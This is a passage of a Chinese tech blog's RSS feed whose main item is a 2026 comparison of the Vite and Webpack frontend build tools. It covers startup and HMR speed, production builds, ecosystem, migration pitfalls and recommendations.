<p><em>你在使用哪些 AI 工具？有什么经验？欢迎在评论区分享！</em></p>]]></description>
    <pubDate>Thu, 09 Apr 2026 09:57:27 +0800</pubDate>
    <dc:creator>删库在逃程序员</dc:creator>
    <guid>http://blog.kaiyu.work/?post=45</guid>
</item>
<item>
    <title>2026 前端构建工具对决：Vite 还是 Webpack？</title>
    <link>http://blog.kaiyu.work/?post=43</link>
    <description><![CDATA[<h1>2026 前端构建工具对决：Vite 还是 Webpack？</h1>
<p>在前端开发的世界里，构建工具是开发者每天都要打交道的伙伴。从早期的 Grunt、Gulp，到后来一统江湖的 Webpack，再到近年异军突起的 Vite，构建工具的演进见证了前端工程化的飞速发展。</p>
<p>2026 年的今天，Vite 和 Webpack 形成了双雄并立的格局。这篇文章，我们来一场硬核对比，帮你做出最适合的选择。</p>
<hr />
<h2>核心架构差异</h2>
<h3>Webpack：Bundle-based 的经典方案</h3>
<p>Webpack 采用 <strong>Bundle-based</strong> 架构，开发服务器启动时需要先对整个应用进行打包。它的核心流程是：</p>
<ol>
<li>从入口文件开始递归分析依赖</li>
<li>将所有模块打包成一个或多个 bundle</li>
<li>启动开发服务器提供打包后的文件</li>
</ol>
<p>这种方式的优势是兼容性好，几乎支持所有模块格式和旧浏览器。但缺点也很明显：<strong>项目越大，启动越慢</strong>。</p>
<h3>Vite：ESM-native 的现代方案</h3>
<p>Vite 由 Vue 作者尤雨溪创建，采用 <strong>ESM-native</strong> 架构。它利用现代浏览器原生支持 ES Modules 的能力：</p>
<ol>
<li>开发服务器直接提供源代码</li>
<li>浏览器按需请求模块</li>
<li>只有被访问的模块才会被编译</li>
</ol>
<p>这种方式让 Vite 的启动速度 <strong>几乎与项目大小无关</strong>，大型项目也能秒开。</p>
<hr />
<h2>开发体验对比</h2>
<h3>冷启动速度</h3>
<table>
<thead>
<tr>
<th>项目规模</th>
<th>Webpack</th>
<th>Vite</th>
</tr>
</thead>
<tbody>
<tr>
<td>小型 (&lt; 100 模块)</td>
<td>2-5 秒</td>
<td>&lt; 1 秒</td>
</tr>
<tr>
<td>中型 (100-500 模块)</td>
<td>10-30 秒</td>
<td>&lt; 1 秒</td>
</tr>
<tr>
<td>大型 (&gt; 500 模块)</td>
<td>1-5 分钟</td>
<td>1-3 秒</td>
</tr>
</tbody>
</table>
<p><strong>Vite 完胜</strong>。对于大型项目，这个差距是数量级的。</p>
<h3>HMR 热更新性能</h3>
<ul>
<li><strong>Webpack</strong>：修改任何文件都需要重新构建受影响模块的 bundle，更新速度与模块依赖复杂度相关</li>
<li><strong>Vite</strong>：只重新编译修改的模块，浏览器直接替换，更新速度 <strong>与项目规模无关</strong></li>
</ul>
<p>实际体验：Vite 的 HMR 几乎是即时的，Webpack 在大型项目中可能有 1-3 秒延迟。</p>
<h3>开发服务器表现</h3>
<p>Webpack 的开发服务器需要维护完整的模块依赖图和打包产物，内存占用较高。Vite 的开发服务器更轻量，只做按需编译和代理转发。</p>
<hr />
<h2>生产构建</h2>
<h3>打包体积</h3>
<p>两者都支持 Tree Shaking、代码分割等优化技术。实际对比：</p>
<ul>
<li><strong>Webpack</strong>：配置灵活，可以通过精细调优获得更小的 bundle</li>
<li><strong>Vite</strong>：生产构建使用 Rollup，默认配置已经很优秀，但极端优化场景下略逊于精心配置的 Webpack</li>
</ul>
<p><strong>结论</strong>：默认配置下两者差距不大，Webpack 上限更高但需要更多配置。</p>
<h3>构建速度</h3>
<table>
<thead>
<tr>
<th>项目规模</th>
<th>Webpack</th>
<th>Vite</th>
</tr>
</thead>
<tbody>
<tr>
<td>小型</td>
<td>5-10 秒</td>
<td>3-8 秒</td>
</tr>
<tr>
<td>中型</td>
<td>30-60 秒</td>
<td>15-30 秒</td>
</tr>
<tr>
<td>大型</td>
<td>2-10 分钟</td>
<td>1-3 分钟</td>
</tr>
</tbody>
</table>
<p>Vite 的生产构建通常比 Webpack 快 <strong>30-50%</strong>。</p>
<h3>代码分割</h3>
<ul>
<li><strong>Webpack</strong>：支持多种分割策略（按路由、按组件、动态 import），配置灵活但复杂</li>
<li><strong>Vite</strong>：基于 Rollup 的自动分割，默认按 vendor 和动态 import 分割，配置简单</li>
</ul>
<p>对于大多数项目，Vite 的默认策略已经足够。需要精细控制时，Webpack 更灵活。</p>
<hr />
<h2>生态系统</h2>
<h3>插件兼容性</h3>
<ul>
<li><strong>Webpack</strong>：10+ 年积累，生态极其丰富，几乎任何需求都有现成插件</li>
<li><strong>Vite</strong>：生态快速增长，常用插件齐全，但小众需求可能需要自己写或使用 Rollup 插件</li>
</ul>
<p><strong>现状</strong>：2026 年的 Vite 生态已经相当成熟，90% 的场景都有解决方案。</p>
<h3>框架支持</h3>
<p>两者都支持主流框架：</p>
<table>
<thead>
<tr>
<th>框架</th>
<th>Webpack</th>
<th>Vite</th>
</tr>
</thead>
<tbody>
<tr>
<td>React</td>
<td>✅ 官方支持</td>
<td>✅ 官方支持</td>
</tr>
<tr>
<td>Vue</td>
<td>✅ 官方支持</td>
<td>✅ 官方支持（优先）</td>
</tr>
<tr>
<td>Svelte</td>
<td>✅ 社区插件</td>
<td>✅ 官方支持</td>
</tr>
<tr>
<td>Solid</td>
<td>✅ 社区插件</td>
<td>✅ 官方支持</td>
</tr>
<tr>
<td>Angular</td>
<td>✅ 内置（CLI）</td>
<td>⚠️ 社区支持</td>
</tr>
</tbody>
</table>
<p>Vite 对新框架的支持更积极，Webpack 更保守但稳定。</p>
<h3>社区活跃度</h3>
<ul>
<li><strong>Webpack</strong>：进入维护期，重大更新减少，但稳定性极高</li>
<li><strong>Vite</strong>：高速发展期，每月更新，新特性迭代快</li>
</ul>
<hr />
<h2>迁移成本</h2>
<h3>从 Webpack 迁移到 Vite</h3>
<p><strong>顺利的情况</strong>：</p>
<ul>
<li>项目使用标准 ES Modules</li>
<li>依赖的库都有 ESM 版本</li>
<li>没有复杂的 Webpack 特定配置</li>
</ul>
<p><strong>可能遇到的坑</strong>：</p>
<ol>
<li><strong>CommonJS 依赖</strong>：部分老库只有 CJS 格式，需要 Vite 的 <code>optimizeDeps</code> 配置</li>
<li><strong>环境变量</strong>：<code>process.env</code> 需要改为 <code>import.meta.env</code></li>
<li><strong>CSS 处理</strong>：部分 Webpack loader 没有 Vite 对应插件</li>
<li><strong>自定义 Webpack 配置</strong>：需要重写为 Vite 插件或 Rollup 插件</li>
</ol>
<p><strong>迁移建议</strong>：</p>
<ol>
<li>先在小分支尝试</li>
<li>使用 <code>vite</code> 命令逐页测试</li>
<li>检查控制台警告，修复兼容性问题</li>
<li>对比生产构建产物</li>
</ol>
<h3>哪些项目适合迁移？</h3>
<p><strong>推荐迁移</strong>：</p>
<ul>
<li>✅ 新项目（毫不犹豫选 Vite）</li>
<li>✅ 中型以下项目（迁移成本低，收益明显）</li>
<li>✅ 开发体验差的大型项目（启动慢、HMR 卡）</li>
</ul>
<p><strong>谨慎迁移</strong>：</p>
<ul>
<li>⚠️ 重度依赖 Webpack 特定插件的项目</li>
<li>⚠️ 需要支持 IE11 等旧浏览器的项目</li>
<li>⚠️ 构建配置极其复杂且稳定运行的老项目</li>
</ul>
<hr />
<h2>实战建议</h2>
<h3>新项目：首选 Vite</h3>
<p>2026 年，新项目的默认选择应该是 Vite：</p>
<ul>
<li>开发体验更好（秒开 + 即时 HMR）</li>
<li>配置更简单（约定优于配置）</li>
<li>构建速度更快</li>
<li>生态已经成熟</li>
</ul>
<p><strong>例外情况</strong>：</p>
<ul>
<li>需要支持 IE11 → Webpack</li>
<li>团队对 Webpack 有深厚积累且项目复杂 → 评估迁移成本</li>
</ul>
<h3>老项目：评估迁移收益</h3>
<p>用这个公式评估：</p>
<pre><code>迁移收益 = (开发时间节省 + 体验提升) - 迁移成本</code></pre>
<p>如果团队每天花在等待构建上的时间超过 30 分钟，迁移通常是值得的。</p>
<h3>大型 Monorepo：考虑 Turborepo + Vite</h3>
<p>对于 Monorepo 项目：</p>
<pre><code>Turborepo（任务编排） + Vite（构建工具）</code></pre>
<p>Turborepo 处理跨包依赖和缓存，Vite 负责单个包的快速构建，组合效果最佳。</p>
<hr />
<h2>总结</h2>
<table>
<thead>
<tr>
<th>维度</th>
<th>Webpack</th>
<th>Vite</th>
<th>胜出</th>
</tr>
</thead>
<tbody>
<tr>
<td>开发启动速度</td>
<td>⭐⭐</td>
<td>⭐⭐⭐⭐⭐</td>
<td>Vite</td>
</tr>
<tr>
<td>HMR 性能</td>
<td>⭐⭐⭐</td>
<td>⭐⭐⭐⭐⭐</td>
<td>Vite</td>
</tr>
<tr>
<td>生产构建速度</td>
<td>⭐⭐⭐</td>
<td>⭐⭐⭐⭐</td>
<td>Vite</td>
</tr>
<tr>
<td>打包体积优化</td>
<td>⭐⭐⭐⭐⭐</td>
<td>⭐⭐⭐⭐</td>
<td>Webpack</td>
</tr>
<tr>
<td>生态丰富度</td>
<td>⭐⭐⭐⭐⭐</td>
<td>⭐⭐⭐⭐</td>
<td>Webpack</td>
</tr>
<tr>
<td>配置灵活性</td>
<td>⭐⭐⭐⭐⭐</td>
<td>⭐⭐⭐</td>
<td>Webpack</td>
</tr>
<tr>
<td>配置简洁性</td>
<td>⭐⭐</td>
<td>⭐⭐⭐⭐⭐</td>
<td>Vite</td>
</tr>
<tr>
<td>学习曲线</td>
<td>陡峭</td>
<td>平缓</td>
<td>Vite</td>
</tr>
</tbody>
</table>
<p><strong>最终建议</strong>：</p>
<ul>
<li>🚀 <strong>新项目</strong>：无脑选 Vite</li>
<li>🔄 <strong>老项目</strong>：评估迁移成本，大型项目优先迁移</li>
<li>🏢 <strong>企业项目</strong>：如果需要 IE 支持或复杂定制，Webpack 仍是可靠选择</li>
<li>🎯 <strong>追求极致体验</strong>：Vite + Turborepo</li>
</ul>
<p>构建工具没有绝对的胜负，只有适不适合。但 2026 年的趋势已经很清晰：<strong>Vite 正在成为新的默认选择</strong>。</p>
<hr />
<p><em>你的项目用什么构建工具？有遇到过什么坑吗？欢迎在评论区交流！</em></p>]]></description>
    <pubDate>Thu, 09 Apr 2026 09:36:13 +0800</pubDate>
    <dc:creator>删库在逃程序员</dc:creator>
    <guid>http://blog.kaiyu.work/?post=43</guid>
</item>
</channel>
</rss>